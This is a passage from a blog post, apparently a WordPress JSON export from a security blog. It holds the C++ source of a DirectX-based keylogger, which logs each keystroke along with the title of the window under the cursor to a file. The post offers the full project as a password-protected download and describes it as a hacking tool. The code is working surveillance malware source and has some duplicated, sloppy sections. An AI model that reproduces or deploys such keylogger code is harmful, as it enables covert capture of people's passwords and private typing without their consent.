GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: BACKSPACE"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_GRAVE<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: `"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_LSHIFT<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: LEFT SHIFT"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_MINUS<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: -"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_PERIOD<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: ."<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_SPACE<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: SPACEBAR"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_RETURN<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: RETURN OR ENTER"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_MINUS<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: -"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_PERIOD<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: ."<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_SPACE<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: SPACEBAR"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\treturn<\/span>;<\/span>\r\n}<\/span>\r\n\r\nstring<\/span>  GetCurrentWindowInfo<\/span>(<\/span>void<\/span>)<\/span>\r\n{<\/span>\r\n\r\n\tTCHAR<\/span>  cock<\/span>[<\/span>1024<\/span>]<\/span> =<\/span> L"this is just placeholder text. it works for some reason. somehting to do with buffer init"<\/span>;<\/span>\r\n\tPOINT<\/span> pt<\/span>;<\/span>\r\n\tGetCursorPos<\/span>(<\/span>&<\/span>pt<\/span>);<\/span>\r\n\tHWND<\/span> curwin<\/span> =<\/span> WindowFromPoint<\/span>(<\/span>pt<\/span>);<\/span>\r\n\r\n\tif<\/span> (<\/span>curwin<\/span> ==<\/span> NULL<\/span>)<\/span>\r\n\t{<\/span>\r\n\t\treturn<\/span> "null window"<\/span>;<\/span>\r\n\t}<\/span>\r\n\telse<\/span>\r\n\t{<\/span>\r\n\t\tInternalGetWindowText<\/span>(<\/span>curwin<\/span>,<\/span> cock<\/span>,<\/span> wcslen<\/span>(<\/span>cock<\/span> -<\/span>1<\/span>));<\/span>\r\n\t\tstring<\/span> retmelol<\/span> =<\/span> CW2A<\/span>(<\/span>cock<\/span>);<\/span>\r\n\t\tif<\/span> (<\/span>retmelol<\/span> ==<\/span> ""<\/span>)<\/span>\r\n\t\t{<\/span>\r\n\t\t\treturn<\/span> "no window"<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\treturn<\/span> retmelol<\/span>;<\/span>\r\n\t}<\/span>\r\n}<\/span>\r\n<\/pre>\n<\/div>\n
There’s design \/ art, there’s no buttons, just a quick and dirty windows app. Real hackers can’t design for shit. You can download the project here<\/a>. The password is ‘lol’.<\/p>\n
Thanks for reading. Maybe I’ll see some of you all at Defcon this year.<\/p>\n
Happy Hacking<\/p>\n
\"\"<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
Howdy! With that painful PIN crap behind me, I can finally be creative again. Today I wrote up a keylogger using C++ and DirectX. I normally dislike C++ because of the bloat, but DirectX and C don’t always play nicely. I’ve talked about keyloggers in the past, and even wrote one using traditional means. Traditionally, […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[4,6],"tags":[116,76,77],"_links":{"self":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1462"}],"collection":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/comments?post=1462"}],"version-history":[{"count":1,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1462\/revisions"}],"predecessor-version":[{"id":1466,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1462\/revisions\/1466"}],"wp:attachment":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/media?parent=1462"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/categories?post=1462"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/tags?post=1462"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}